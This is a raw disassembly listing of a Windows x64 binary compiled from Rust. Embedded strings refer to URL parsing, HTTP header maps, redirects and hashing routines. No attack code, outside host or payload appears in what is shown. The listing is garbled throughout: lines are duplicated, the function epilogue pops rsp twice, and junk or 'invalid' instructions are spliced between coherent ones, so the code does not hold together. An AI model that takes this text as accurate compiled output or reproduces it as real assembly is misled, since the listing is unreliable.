mov rcx, qword [rsi + 8]
add rcx, r15
mov rdx, rdi
mov r8, rbp
call fcn.140106530
add r15, rbp
mov qword [rsi + 0x10], r15
mov byte [rdi + 0x423], 0
mov qword [rdi + 0x410], 0
add r13, r12
je 0x140058389
cmp rbx, r13
jb 0x140058442
add r14, r13
sub rbx, r13
jne 0x140058130
jmp 0x14005832c
mov rcx, rsi
mov rdx, r15
mov r8, rbp
call fcn.140108ba0
mov r15, qword [rsi + 0x10]
jmp 0x1400582cd
xor eax, eax
jmp 0x1400583f0
mov byte [rdi + 0x423], 1
cmp r13, 0x401
jae 0x1400584a3
mov rax, qword [r12]
mov rsi, qword [r12 + 0x10]
sub rax, rsi
cmp rax, r13
jb 0x140058401
mov rcx, qword [r12 + 8]
add rcx, rsi
mov rdx, rdi
mov r8, r13
call fcn.140106530
add rsi, r13
mov qword [r12 + 0x10], rsi
mov byte [rdi + 0x423], 0
mov qword [rdi + 0x410], 0
mov r14, qword [rsp + 0x30]
mov rax, qword [r14 + 8]
mov eax, dword [rsi + 8]
mov eax, dword [rsi + 8]
mov ecx, eax
and ecx, 3
cmp ecx, 1
jne 0x1400583e3
lea rsi, [rax - 1]
mov rdi, qword [rax - 1]
mov rbx, qword [rax + 7]
mov rcx, rdi
call qword [rbx]
cmp qword [rbx + 8], 0
je 0x1400583d1
cmp qword [rbx + 0x10], 0x11
jb case.0x1400d62e6.1663
mov rdi, qword [rdi - 8]
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, rsi
call qword [sym.imp.kernel32.dll_HeapFree]
lea rax, str.failed_to_write_whole_buffer
add eax, 0xf1eae
mov qword [r14 + 8], rax
mov al, 1
add rsp, 0x38
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
mov rcx, r12
mov rdx, rsi
mov r8, r13
call fcn.140108ba0
mov rsi, qword [r12 + 0x10]
jmp 0x14005835c
lea r8, [0x140142838]
mov edx, 3
call fcn.1401085b0
lea rcx, str.Cannot_write_more_after_calling_finish___f
lea r8, [0x1401428a8]
mov edx, 0x28
call fcn.14010d200
lea r8, str._rustc_f9b16149208c8a8a349c32813312716f6603eb6flibrary_std_srciomod.rs
mov rcx, r13
mov rdx, rbx
call fcn.1401085a0
lea rcx, [0x1401422f6]
lea r8, [0x140142378]
mov edx, 0x16
call fcn.140108990
lea r8, [0x140142390]
mov edx, 0x400
mov rcx, rbp
call fcn.140108620
lea r8, [0x140142868]
mov rcx, r12
mov rdx, rbx
call fcn.140108620
lea r8, [0x140142850]
mov edx, 3
call fcn.140108810
lea r8, [0x140142390]
mov edx, 0x400
mov rcx, r13
call fcn.140108620
int3
invalid
int3
movdqa xmmword [rsp + 0x6f0], xmm8
movdqa xmmword [rsp + 0x6e0], xmm7
movdqa xmmword [rsp + 0x6d0], xmm6
mov qword [rsp + 0x190], rcx
movzx eax, byte [r8 + 0xf0]
mov byte [rsp + 0x2e], al
mov eax, dword [r8 + 0xf4]
mov dword [rsp + 0x8b], eax
mov eax, dword [r8 + 0xf1]
mov dword [rsp + 0x88], eax
mov rax, qword [r8 + 0xf8]
mov qword [rsp + 0x188], rax
and al, 0x88
add dword [rax], eax
add byte [rcx - 0x75], cl
add byte [rax], 1
add byte [rax], al
and al, 0x88
add dword [rax], eax
add byte [rcx - 0x75], cl
add byte [rax], 1
add byte [rax], al
mov qword [rsp + 0x60], rax
lea r14, [r8 + 0x88]
mov rax, qword [r8 + 0xd8]
mov qword [rsp + 0x2a0], rax
movups xmm0, xmmword [r8 + 0xc8]
movaps xmmword [rsp + 0x290], xmm0
movups xmm0, xmmword [r8 + 0x88]
movups xmm1, xmmword [r8 + 0x98]
movups xmm2, xmmword [r8 + 0xa8]
movups xmm3, xmmword [r8 + 0xb8]
cwde
mov eax, 0xf000000
sub dword [rsp + 0x280], ebx
cwde
mov eax, 0xf000000
sub dword [rsp + 0x280], ebx
movaps xmmword [rsp + 0x270], xmm2
movaps xmmword [rsp + 0x260], xmm1
movaps xmmword [rsp + 0x250], xmm0
movups xmm0, xmmword [r8 + 0x78]
movaps xmmword [rsp + 0x220], xmm0
add byte [rax], al
add byte [rax], al
movups xmm0, xmmword [r8 + 0x68]
movaps xmmword [rsp + 0x210], xmm0
movups xmm0, xmmword [r8 + 0x28]
movups xmm1, xmmword [r8 + 0x38]
movdqu xmm2, xmmword [r8 + 0x48]
movdqu xmm3, xmmword [r8 + 0x58]
movdqa xmmword [rsp + 0x200], xmm3
movq qword [rsp + 0x200], mm3
movq qword [rsp + 0x200], mm3
movdqa xmmword [rsp + 0x1f0], xmm2
movaps xmmword [rsp + 0x1e0], xmm1
movaps xmmword [rsp + 0x1d0], xmm0
mov rax, qword [r8 + 0xe0]
mov qword [rsp + 0x1c8], rax
mov eax, dword [r8 + 0xe8]
mov dword [rsp + 0x1ac], eax
movzx eax, byte [r8 + 0x108]
mov byte [rsp + 0x2f], al
mov rax, qword [r8 + 0x20]
mov qword [rsp + 0x370], rax
movdqu xmm0, xmmword [r8]
movdqu xmm1, xmmword [r8 + 0x10]
movdqa xmmword [rsp + 0x360], xmm1
movdqa xmmword [rsp + 0x350], xmm0
mov esi, dword [rsp + 0x27c]
add byte [rax - 0x7b], cl
test byte [rdi], 0x84
invalid
add byte [rax], al
invalid
add byte [rax - 0x7b], cl
test byte [rdi], 0x84
mov esi, 0x49000000
mov edi, edx
mov r15, rdx
mov rdi, qword [rsp + 0x258]
mov rbx, qword [rsp + 0x260]
cmp rbx, rsi
jbe 0x140058888
add byte [rax - 0x75], cl
pushfq
and al, 0x60
add al, byte [rax]
add byte [rax + 0x39], cl
jbe 0x140058888
cmp byte [rdi + rsi], 0xbf
jg 0x14005888a
invalid
jmp 0x1400588e8
jne 0x1400588e8
cmp esi, 4
jne 0x1400588a5
lea rdx, [0x140172e43]
mov rcx, rdi
mov r8, rsi
call fcn.140106bb0
test eax, eax
je 0x1400588cf
cmp rbx, rsi
jbe 0x1400588b2
cmp byte [rdi + rsi], 0xbf
jg 0x1400588b4
jmp 0x1400588e8
jne 0x1400588e8
cmp esi, 5
jne 0x140058926
lea rdx, [0x140172e47]
mov rcx, rdi
mov r8, rsi
call fcn.140106bb0
test eax, eax
jne 0x140058926
cmp byte [r15 + 0x1ba], 0
je 0x140058a33
cmp rbx, rsi
jbe 0x140058905
cmp byte [rdi + rsi], 0xbf
jg 0x140058907
lea rax, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001furl_2.5.0_srclib.rs
mov qword [rsp + 0x20], rax
mov rcx, rdi
mov rdx, rbx
xor r8d, r8d
mov r9, rsi
call fcn.140108ac0
jne 0x1400588e8
cmp esi, 5
jne 0x140058926
lea rdx, [0x140172e47]
mov rcx, rdi
mov r8, rsi
call fcn.140106bb0
test eax, eax
je 0x140058a33
movzx eax, byte [0x140182310]
mov edx, 0x70
xor ecx, ecx
call fcn.1400df910
test rax, rax
je 0x14005a3e9
mov qword [rax + 0x58], 1
lea rcx, [0x14013de10]
mov qword [rax + 0x60], rcx
mov word [rax + 0x68], 0
movups xmm0, xmmword [r14]
movdqu xmm1, xmmword [r14 + 0x10]
movdqu xmm2, xmmword [r14 + 0x20]
movdqu xmm3, xmmword [r14 + 0x30]
movups xmmword [rax], xmm0
movdqu xmmword [rax + 0x10], xmm1
movdqu xmmword [rax + 0x20], xmm2
movdqu xmmword [rax + 0x30], xmm3
movdqu xmm0, xmmword [r14 + 0x40]
movdqu xmmword [rax + 0x40], xmm0
mov rcx, qword [r14 + 0x50]
mov qword [rax + 0x50], rcx
mov rcx, qword [rsp + 0x190]
mov qword [rcx], 2
mov qword [rcx + 8], rax
cmp qword [rsp + 0x350], 0
je 0x1400589c1
lea rcx, [rsp + 0x358]
call fcn.14005b7d0
lea rcx, [rsp + 0x1d0]
call fcn.140036d60
cmp byte [rsp + 0x2e], 0xa
jb 0x1400589f4
cmp qword [rsp + 0x60], 0
je 0x1400589f4
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, qword [rsp + 0x188]
call qword [sym.imp.kernel32.dll_HeapFree]
movaps xmm6, xmmword [rsp + 0x6d0]
movaps xmm7, xmmword [rsp + 0x6e0]
movaps xmm8, xmmword [rsp + 0x6f0]
movaps xmm9, xmmword [rsp + 0x700]
movaps xmm10, xmmword [rsp + 0x710]
add rsp, 0x728
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop rsp
pop rsp
pop r13
pop r14
pop r15
ret
movzx eax, byte [rsp + 0x2e]
mov dword [rsp + 0x1a8], eax
xor ecx, ecx
cmp qword [r15 + 0x150], 0
lea rax, [r15 + 0x10]
mov qword [rsp + 0x2c8], rax
sete cl
add ecx, ecx
xor edi, edi
movdqa xmm6, xmmword [str.uespemosarenegylmodnarodsetybdet]
movdqa xmm7, xmmword [0x140113750]
pxor xmm8, xmm8
lea r14, [rsp + 0x90]
lea rbx, [rsp + 0x380]
movabs r13, 0x100000001b3
pushfq
and al, 0x80
add eax, dword [rax]
add byte [rcx - 0x43], cl
mov bl, 1
add byte [rax], al
add byte [rcx], al
add byte [rax], al
mov qword [rsp + 0x48], r15
cmp rcx, 2
jne 0x140059179
jmp 0x140059230
imul r8, rdi, 0x68
add r8, qword [r15 + 0x148]
mov rax, qword [r8 + 8]
mov qword [rsp + 0x70], rax
cmp qword [r8], 1
mov r15d, 0
adc r15, 1
mov qword [rsp + 0x58], r8
lea r12, [r8 + 0x18]
lea rcx, [rsp + 0x1d0]
add byte [rax], al
call fcn.140038610
test al, al
jne 0x14005a3b7
mov r11, qword [rsp + 0x1d0]
cmp r11, 2
mov r10, qword [rsp + 0x58]
mov qword [rsp + 0x80], rdi
mov qword [rsp + 0x78], r15
mov qword [rsp + 0x40], r12
mov qword [rsp + 0x38], r11
jne 0x140058ba0
movdqu xmm0, xmmword [rsp + 0x1d8]
pshufd xmm1, xmm0, 0x44
pxor xmm1, xmm6
movdqa xmmword [rsp + 0x90], xmm1
pshufd xmm1, xmm0, 0xee
pxor xmm1, xmm7
movdqa xmmword [rsp + 0xa0], xmm1
movdqa xmmword [rsp + 0xb0], xmm0
lea rax, [rsp + 0xc0]
movdqa xmmword [rax], xmm8
mov qword [rax + 0x10], 0
mov rsi, qword [r10 + 0x40]
xor eax, eax
test rsi, rsi
setne al
mov qword [rsp + 0x380], rax
mov r8d, 8
mov rcx, r14
mov rdx, rbx
mov r13, r10
call fcn.140007050
test rsi, rsi
je 0x140058c30
mov rdx, qword [r13 + 0x48]
mov r8, qword [r13 + 0x50]
mov rcx, r14
jmp 0x140058c49
mov rax, qword [r10 + 0x40]
xor edx, edx
test rax, rax
setne dl
movabs rcx, 0xcbf29ce484222325
xor rdx, rcx
movabs rcx, 0x1efac7090aef4a21
imul rdx, rcx
test rax, rax
je 0x140058d60
mov r8, qword [r10 + 0x50]
test r8, r8
je 0x140058d6c
add dword [rax], eax
invalid
add dword [rax], eax
add byte [rcx - 0x75], cl
mov r9, r8
mov rax, qword [r10 + 0x48]
mov r9, r8
and r9, 7
je 0x140058d71
mov rcx, rax
nop word cs:[rax + rax]
movzx r12d, byte [rcx]
inc rcx
xor r12, rdx
imul r12, r13
mov rdx, r12
dec r9
jne 0x140058c00
cmp r8, 8
jae 0x140058d7d
jmp 0x140058df0
movzx eax, byte [r13 + 0x48]
mov qword [rsp + 0x380], rax
mov r8d, 8
mov rcx, r14
mov rdx, rbx
call fcn.140007050
mov rax, qword [rsp + 0xa0]
mov r9, qword [rsp + 0xc0]
shl r9, 0x38
or r9, qword [rsp + 0xc8]
mov rcx, qword [rsp + 0xa8]
mov r8, qword [rsp + 0x90]
add r8, rax
rol rax, 0xd
xor rcx, r9
xor ecx, ecx
xor ecx, ecx
xor rax, r8
rol r8, 0x20
mov rdx, qword [rsp + 0x98]
add rdx, rcx
rol rcx, 0x10
xor rcx, rdx
add r8, rcx
rol rcx, 0x15
add rdx, rax
rol rax, 0x11
xor rcx, r8
xor rax, rdx
rol rdx, 0x20
xor r8, r9
add r8, rax
rol rax, 0xd
xor rax, r8
rol r8, 0x20
xor rdx, 0xff
add rdx, rcx
rol rcx, 0x10
xor rcx, rdx
add r8, rcx
rol rcx, 0x15
add rdx, rax
rol rax, 0x11
xor rax, rdx
rol rdx, 0x20
xor rcx, r8
add r8, rax
rol rax, 0xd
xor rax, r8
rol r8, 0x20
add rdx, rcx
rol rcx, 0x10
xor rcx, rdx
add r8, rcx
rol rcx, 0x15
add rdx, rax
rol rax, 0x11
xor rax, rdx
rol rdx, 0x20
xor rcx, r8
add r8, rax
rol rax, 0xd
xor rax, r8
add rdx, rcx
shl rcx, 0x10
xor rcx, rdx
shr rcx, 0x2b
add rdx, rax
shr rax, 0x2f
xor rax, rcx
mov r12, rdx
shr r12, 0x20
xor r12, rdx
xor r12, rax
mov r10, qword [rsp + 0x58]
jmp 0x140058df0
ror byte [rax - 0x3f], 1
ret 0x4c20
movzx eax, byte [r10 + 0x48]
xor rdx, rax
imul rdx, rcx
mov r12, rdx
jmp 0x140058df0
mov r12, rdx
mov rcx, rax
cmp r8, 8
jb 0x140058df0
add rax, r8
movzx edx, byte [rcx]
xor rdx, r12
imul rdx, r13
movzx r8d, byte [rcx + 1]
xor r8, rdx
imul r8, r13
movzx edx, byte [rcx + 2]
xor rdx, r8
imul rdx, r13
movzx r8d, byte [rcx + 3]
xor r8, rdx
imul r8, r13
movzx edx, byte [rcx + 4]
xor rdx, r8
imul rdx, r13
movzx r8d, byte [rcx + 5]
xor r8, rdx
imul r8, r13
movzx edx, byte [rcx + 6]
xor rdx, r8
imul rdx, r13
movzx r12d, byte [rcx + 7]
add rcx, 8
xor r12, rdx
imul r12, r13
cmp rcx, rax
jne 0x140058d80
nop word cs:[rax + rax]
and r12d, 0x7fff
movzx edi, word [rsp + 0x228]
mov r15d, r12d
and r15d, edi
mov r13, qword [rsp + 0x220]
mov rbp, qword [rsp + 0x218]
mov rsi, qword [rsp + 0x1f0]
mov rbx, qword [rsp + 0x1f8]
xor r14d, r14d
jmp 0x140058e46
movzx eax, byte [rax + 8]
cmp al, byte [r10 + 0x48]
je 0x1400591f0
nop dword [rax + rax]
inc r14
inc r15
mov rax, r15
nop dword [rax]
mov r15, rax
mov eax, 0
cmp r15, r13
jae 0x140058e50
movzx ecx, word [rbp + r15*4]
cmp rcx, 0xffff
je 0x140058f00
movzx eax, word [rbp + r15*4 + 2]
mov edx, edi
and edx, eax
mov r8d, r15d
sub r8d, edx
and r8d, edi
cmp r8, r14
jb 0x140058fa0
cmp ax, r12w
jne 0x140058e40
cmp rbx, rcx
jbe 0x140059475
imul rax, rcx, 0x68
mov rcx, qword [rsi + rax + 0x40]
test rcx, rcx
setne dl
cmp qword [r10 + 0x40], 0
sete r8b
cmp dl, r8b
je 0x140058e40
add rax, rsi
add rax, 0x40
test rcx, rcx
je 0x140058e2a
mov r8, qword [rax + 0x10]
cmp r8, qword [r10 + 0x50]
jne 0x140058e40
mov rdx, qword [r10 + 0x48]
mov rcx, qword [rax + 8]
call fcn.140106bb0
mov r10, qword [rsp + 0x58]
test eax, eax
jne 0x140058e40
jmp 0x1400591f0
cmp r14, 0x200
setae bl
cmp dword [rsp + 0x38], 2
setne sil
mov rax, qword [r10 + 0x40]
test rax, rax
je 0x140059040
lea rdx, [r10 + 0x58]
mov r8, qword [r10 + 0x48]
mov r9, qword [r10 + 0x50]
lea r14, [rsp + 0x90]
mov rcx, r14
call qword [rax]
mov rax, qword [rsp + 0x90]
movzx ecx, byte [rsp + 0x98]
movzx edx, byte [rsp + 0x9f]
shl edx, 0x10
mov dh, 0x94
and al, 0x9f
add byte [rax], al
add cl, al
loop 0x140058f64
movzx r8d, word [rsp + 0x9d]
or r8d, edx
or eax, edx
shl r8, 0x20
mov edi, dword [rsp + 0x99]
or rdi, r8
lea rdx, [rsp + 0xc0]
movdqu xmm0, xmmword [rdx - 0x20]
movdqa xmmword [rsp + 0x380], xmm0
movabs r13, 0x100000001b3
jmp 0x14005905e
cmp r14, 0x200
setae bl
cmp dword [rsp + 0x38], 2
setne sil
mov rax, qword [r10 + 0x40]
test rax, rax
mov r8, qword [rsp + 0x50]
mov rdi, qword [rsp + 0x30]
je 0x140059070
lea rdx, [r10 + 0x58]
mov r8, qword [r10 + 0x48]
mov r9, qword [r10 + 0x50]
lea r14, [rsp + 0x90]
mov rcx, r14
call qword [rax]
mov rax, qword [rsp + 0x90]
movzx ecx, byte [rsp + 0x98]
movzx edx, byte [rsp + 0x9f]
shl edx, 0x10
movzx r8d, word [rsp + 0x9d]
or r8d, edx
shl r8, 0x20
mov edx, dword [rsp + 0x99]
or rdx, r8
mov r8, rdx
lea rdx, [rsp + 0xc0]
movdqu xmm0, xmmword [rdx - 0x20]
movdqa xmmword [rsp + 0x380], xmm0
jmp 0x14005907f
movzx ecx, byte [r10 + 0x48]
xor eax, eax
lea r14, [rsp + 0x90]
movabs r13, 0x100000001b3
mov rdi, qword [rsp + 0x30]
and bl, sil
movaps xmm0, xmmword [rsp + 0x380]
mov rdx, rdi
jmp 0x14005909c
movzx ecx, byte [r10 + 0x48]
xor eax, eax
lea r14, [rsp + 0x90]
movabs r13, 0x100000001b3
and bl, sil
movaps xmm0, xmmword [rsp + 0x380]
mov qword [rsp + 0x50], r8
mov rdx, r8
shl rdx, 8
movzx ecx, cl
or rcx, rdx
movaps xmmword [rsp + 0x1b0], xmm0
mov qword [rsp + 0x30], rdi
movdqa xmm0, xmmword [rsp + 0x1b0]
lea r8, [rsp + 0x4e0]
movdqu xmmword [r8], xmm0
movzx edx, byte [rsp + 0x2b4]
mov byte [r8 + 0x1f], dl
mov edx, dword [rsp + 0x2b0]
mov dword [r8 + 0x1b], edx
lea rdx, [rsp + 0x1d0]
mov qword [rsp + 0x4c8], rdx
mov qword [rsp + 0x4d0], rax
mov qword [rsp + 0x4d8], rcx
mov qword [rsp + 0x4f0], r15
mov word [rsp + 0x4f8], r12w
mov byte [rsp + 0x4fa], bl
mov rsi, qword [rsp + 0x40]
lea rdx, [rsi + 0x18]
mov rax, qword [rsi]
mov r8, qword [rsi + 8]
mov r9, qword [rsi + 0x10]
mov rcx, r14
call qword [rax]
movzx eax, byte [rsi + 0x20]
mov byte [rsp + 0xb0], al
lea rcx, [rsp + 0x4c8]
mov rdx, r14
call fcn.14005c6a0
test rax, rax
je 0x14005a3c0
mov r15, qword [rsp + 0x48]
mov rdi, qword [rsp + 0x80]
lea rbx, [rsp + 0x380]
mov rcx, qword [rsp + 0x78]
cmp rcx, 2
je 0x140059230
mov rdx, qword [r15 + 0x150]
cmp rdi, rdx
jae 0x140059f9d
imul r8, rdi, 0x68
add r8, qword [r15 + 0x148]
cmp rcx, 1
jne 0x140058aab
mov rdx, qword [r15 + 0x168]
mov rcx, qword [rsp + 0x70]
cmp rcx, rdx
jae 0x140059fac
mov rax, qword [r15 + 0x160]
lea rcx, [rcx + rcx*8]
lea r12, [rax + rcx*8]
cmp qword [rax + rcx*8 + 0x10], 0
je 0x1400591d7
mov rax, qword [r12 + 0x18]
mov r15d, 1
jmp 0x1400591dd
mov r15d, 2
mov qword [rsp + 0x58], r8
mov qword [rsp + 0x70], rax
add r12, 0x20
jmp 0x140058acb
mov r15, qword [rsp + 0x48]
mov rdi, qword [rsp + 0x80]
lea r14, [rsp + 0x90]
lea rbx, [rsp + 0x380]
movabs r13, 0x100000001b3
mov rcx, qword [rsp + 0x78]
cmp rcx, 2
jne 0x140059179
nop word cs:[rax + rax]
inc rdi
cmp rdi, qword [r15 + 0x150]
jb 0x140058aa0
lea rcx, [rsp + 0x380]
lea rdx, [rsp + 0x250]
call fcn.14005a4b0
cmp byte [rsp + 0x380], 3
jne 0x140059373
mov rax, qword [rsp + 0x2a0]
mov qword [rsp + 0xe0], rax
movaps xmm0, xmmword [rsp + 0x290]
movaps xmmword [rsp + 0xd0], xmm0
movaps xmm0, xmmword [rsp + 0x250]
movaps xmm1, xmmword [rsp + 0x260]
movaps xmm2, xmmword [rsp + 0x270]
movaps xmm3, xmmword [rsp + 0x280]
movaps xmmword [rsp + 0xc0], xmm3
movaps xmmword [rsp + 0xb0], xmm2
movaps xmmword [rsp + 0xa0], xmm1
movaps xmmword [rsp + 0x90], xmm0
lea rcx, str.Parsed_Url_is_not_a_valid_Urioperation_timed_outURL_scheme_is_not_allowedBuilderRequestRedirectStatus
mov edx, 0x1d
call fcn.140052180
mov rcx, qword [rax]
shl rcx, 1
test rcx, rcx
je 0x1400592f8
mov r8, qword [rax + 8]
mov rcx, qword [0x140182260]
xor edx, edx
mov rsi, rax
call qword [sym.imp.kernel32.dll_HeapFree]
mov rax, rsi
mov rcx, qword [rsp + 0xe0]
mov qword [rax + 0x50], rcx
movaps xmm0, xmmword [rsp + 0xd0]
movups xmmword [rax + 0x40], xmm0
movaps xmm0, xmmword [rsp + 0x90]
movaps xmm1, xmmword [rsp + 0xa0]
movaps xmm2, xmmword [rsp + 0xb0]
movaps xmm3, xmmword [rsp + 0xc0]
movups xmmword [rax + 0x30], xmm3
movups xmmword [rax + 0x20], xmm2
movups xmmword [rax + 0x10], xmm1
movups xmmword [rax], xmm0
mov rcx, qword [rsp + 0x190]
mov qword [rcx], 2
mov qword [rcx + 8], rax
lea rcx, [rsp + 0x380]
call fcn.14005ae00
cmp qword [rsp + 0x350], 0
jne 0x1400589b4
jmp 0x1400589c1
mov rax, qword [rsp + 0x3d0]
mov qword [rsp + 0x320], rax
movups xmm0, xmmword [rsp + 0x3c0]
movaps xmmword [rsp + 0x310], xmm0
movdqu xmm0, xmmword [rsp + 0x380]
movdqu xmm1, xmmword [rsp + 0x390]
movdqu xmm2, xmmword [rsp + 0x3a0]
movdqu xmm3, xmmword [rsp + 0x3b0]
movdqa xmmword [rsp + 0x300], xmm3
movdqa xmmword [rsp + 0x2f0], xmm2
movdqa xmmword [rsp + 0x2e0], xmm1
movdqa xmmword [rsp + 0x2d0], xmm0
cmp qword [rsp + 0x350], 0
je 0x140059484
movdqu xmm0, xmmword [rsp + 0x358]
movdqu xmm1, xmmword [rsp + 0x368]
movdqa xmmword [rsp + 0x230], xmm0
movdqa xmmword [rsp + 0x240], xmm1
mov rax, qword [rsp + 0x230]
test rax, rax
je 0x1400594a6
lea rdx, [rsp + 0x248]
mov r8, qword [rsp + 0x238]
mov r9, qword [rsp + 0x240]
lea rcx, [rsp + 0x90]
call qword [rax]
mov r12, qword [rsp + 0x90]
movdqu xmm0, xmmword [rsp + 0x98]
movdqa xmmword [rsp + 0x4b0], xmm0
mov rax, qword [rsp + 0xa8]
mov qword [rsp + 0x4c0], rax
mov rbp, qword [rsp + 0x230]
jmp 0x1400594ab
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhttp_0.2.12_srcheadermap.rsH
mov rdx, rbx
call fcn.1401085b0
mov eax, 1
mov qword [rsp + 0x58], rax
lea rbp, [0x14013e948]
xor r13d, r13d
xor eax, eax
mov qword [rsp + 0x80], rax
xor eax, eax
jmp 0x1400594d6
xor ebp, ebp
xor r12d, r12d
mov rax, qword [rsp + 0x238]
mov qword [rsp + 0x58], rax
mov rax, qword [rsp + 0x240]
mov qword [rsp + 0x80], rax
add byte [rax], 0
add byte [rcx - 0x43], al
add dword [rax], eax
add byte [rax], al
add byte [rax], 0
add byte [rcx - 0x43], al
add dword [rax], eax
add byte [rax], al
mov rax, qword [rsp + 0x248]
mov qword [rsp + 0x78], rax
and al, 0x78
cmp byte [r15 + 0x1b9], 0
je case.0x14005a02d.2
movzx eax, byte [rsp + 0x2d0]
test al, al
je case.0x14005a02d.2
add byte [rax + rax*8 - 0x49f0cc8c], al
rol byte [rbx + 0x1d7401f8], 0x83
clc
add dh, byte [rsi + riz + 0x48]
lea ecx, str.internal_error:_entered_unreachable_code_rustc_f9b16149208c8a8a349c32813312716f6603eb6flibrary_std_src_threadmod.rs
movzx eax, al
cmp eax, 1
je 0x140059516
cmp eax, 2
je case.0x14005a02d.2
lea rcx, str.internal_error:_entered_unreachable_code_rustc_f9b16149208c8a8a349c32813312716f6603eb6flibrary_std_src_threadmod.rs
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhttp_0.2.12_srcuri_scheme.rsp
mov edx, 0x28
call fcn.140108630
cmp byte [rsp + 0x2d1], 0
je 0x140059af6
pxor xmm0, xmm0
movdqa xmmword [rsp + 0x2b0], xmm0
movdqa xmmword [rsp + 0x1b0], xmm0
cmp dword [rsp + 0x1a8], 9
jae 0x140059ac2
movaps xmm0, xmmword [rsp + 0x1b0]
movaps xmmword [rsp + 0x480], xmm0
movaps xmm1, xmmword [rsp + 0x2b0]
movaps xmmword [rsp + 0x330], xmm1
mov ecx, dword [rsp + 0x198]
mov edx, dword [rsp + 0x19b]
mov dword [rsp + 0x68], ecx
mov dword [rsp + 0x6b], edx
mov qword [rsp + 0x90], 0
mov qword [rsp + 0xa8], 0
mov qword [rsp + 0xb0], 8
movups xmmword [rsp + 0xb8], xmm0
mov qword [rsp + 0xc8], 8
mov qword [rsp + 0xd0], 0
mov qword [rsp + 0xd8], 2
mov qword [rsp + 0xe0], 0
mov word [rsp + 0xe8], 0
mov byte [rsp + 0xf0], 0
lea rcx, [0x14012a078]
mov qword [rsp + 0x100], rcx
mov qword [rsp + 0x108], 1
movaps xmm0, xmmword [rsp + 0x330]
movups xmmword [rsp + 0x110], xmm0
mov qword [rsp + 0x120], rcx
lea rcx, [0x1401731b8]
mov qword [rsp + 0x128], rcx
mov qword [rsp + 0x130], 1
mov qword [rsp + 0x138], 0
mov word [rsp + 0x140], 0xffff
movzx ecx, byte [rsp + 0x2e]
mov byte [rsp + 0x148], cl
mov ecx, dword [rsp + 0x68]
mov edx, dword [rsp + 0x6b]
mov dword [rsp + 0x149], ecx
mov dword [rsp + 0x14c], edx
mov qword [rsp + 0x150], rsi
mov qword [rsp + 0x158], rdi
mov qword [rsp + 0x160], 0
mov byte [rsp + 0x168], 2
lea rcx, [rsp + 0x380]
lea rdx, [rsp + 0x90]
lea r8, [rsp + 0x2d0]
call fcn.14005b5b0
mov r14, qword [rsp + 0x380]
movzx edi, byte [rsp + 0x388]
movzx ebx, byte [rsp + 0x389]
cmp r14, 3
je 0x14005a3f8
lea rdx, [rsp + 0x38a]
lea rsi, [rsp + 0x602]
mov r8d, 0xce
mov rcx, rsi
call fcn.140106530
mov eax, dword [rsp + 0x459]
mov ecx, dword [rsp + 0x45c]
mov dword [rsp + 0x1a0], eax
mov dword [rsp + 0x1a3], ecx
mov qword [rsp + 0x90], rbp
mov rax, qword [rsp + 0x58]
mov qword [rsp + 0x98], rax
mov rax, qword [rsp + 0x80]
mov qword [rsp + 0xa0], rax
mov rax, qword [rsp + 0x78]
mov qword [rsp + 0xa8], rax
mov rax, qword [rsp + 0x90]
mov qword [rsp + 0x460], rax
mov rax, qword [rsp + 0x98]
mov qword [rsp + 0x468], rax
mov rax, qword [rsp + 0xa0]
mov qword [rsp + 0x470], rax
mov rax, qword [rsp + 0xa8]
mov qword [rsp + 0x478], rax
lea rcx, [rsp + 0x50a]
mov r8d, 0xce
mov rdx, rsi
call fcn.140106530
mov eax, dword [rsp + 0x1a0]
mov ecx, dword [rsp + 0x1a3]
mov dword [rsp + 0x5d9], eax
mov dword [rsp + 0x5dc], ecx
mov qword [rsp + 0x500], r14
mov byte [rsp + 0x508], dil
mov byte [rsp + 0x509], bl
movzx eax, byte [rsp + 0x2f]
mov byte [rsp + 0x5d8], al
movaps xmm0, xmmword [rsp + 0x460]
movaps xmm1, xmmword [rsp + 0x470]
movaps xmmword [rsp + 0x5e0], xmm0
movaps xmmword [rsp + 0x5f0], xmm1
lea rcx, [rsp + 0x90]
lea rdx, [rsp + 0x1d0]
call fcn.14005b8a0
lea rsi, [rsp + 0x500]
mov rcx, rsi
call fcn.140036d60
movups xmm0, xmmword [rsp + 0xe0]
movaps xmmword [rsp + 0x550], xmm0
movups xmm0, xmmword [rsp + 0xd0]
movaps xmmword [rsp + 0x540], xmm0
movups xmm0, xmmword [rsp + 0x90]
movups xmm1, xmmword [rsp + 0xa0]
movups xmm2, xmmword [rsp + 0xb0]
movups xmm3, xmmword [rsp + 0xc0]
movaps xmmword [rsp + 0x530], xmm3
movaps xmmword [rsp + 0x520], xmm2
movaps xmmword [rsp + 0x510], xmm1
movaps xmmword [rsp + 0x500], xmm0
mov rcx, qword [rsp + 0x2c8]
mov rdx, rsi
call fcn.14005bc50
mov rsi, rax
mov rdi, rdx
mov r8d, dword [rsp + 0x1ac]
cmp r8d, 0x3b9aca00
jne 0x1400598c8
mov r8d, dword [r15 + 0x1a8]
cmp r8d, 0x3b9aca00
jne 0x1400598b9
xor eax, eax
jmp 0x140059953
mov rax, qword [r15 + 0x1a0]
mov qword [rsp + 0x1c8], rax
lea r9, [0x14013f8b0]
lea rcx, [rsp + 0x90]
mov rdx, qword [rsp + 0x1c8]
call fcn.1400f4b50
movzx eax, byte [0x140182310]
mov edx, 0x70
xor ecx, ecx
call fcn.1400df910
test rax, rax
je 0x14005a3e9
movups xmm0, xmmword [rsp + 0xf0]
movups xmmword [rax + 0x60], xmm0
movups xmm0, xmmword [rsp + 0xe0]
movups xmmword [rax + 0x50], xmm0
movups xmm0, xmmword [rsp + 0xd0]
movups xmmword [rax + 0x40], xmm0
movups xmm0, xmmword [rsp + 0x90]
movups xmm1, xmmword [rsp + 0xa0]
movups xmm2, xmmword [rsp + 0xb0]
movups xmm3, xmmword [rsp + 0xc0]
movups xmmword [rax + 0x30], xmm3
movups xmmword [rax + 0x20], xmm2
movups xmmword [rax + 0x10], xmm1
movups xmmword [rax], xmm0
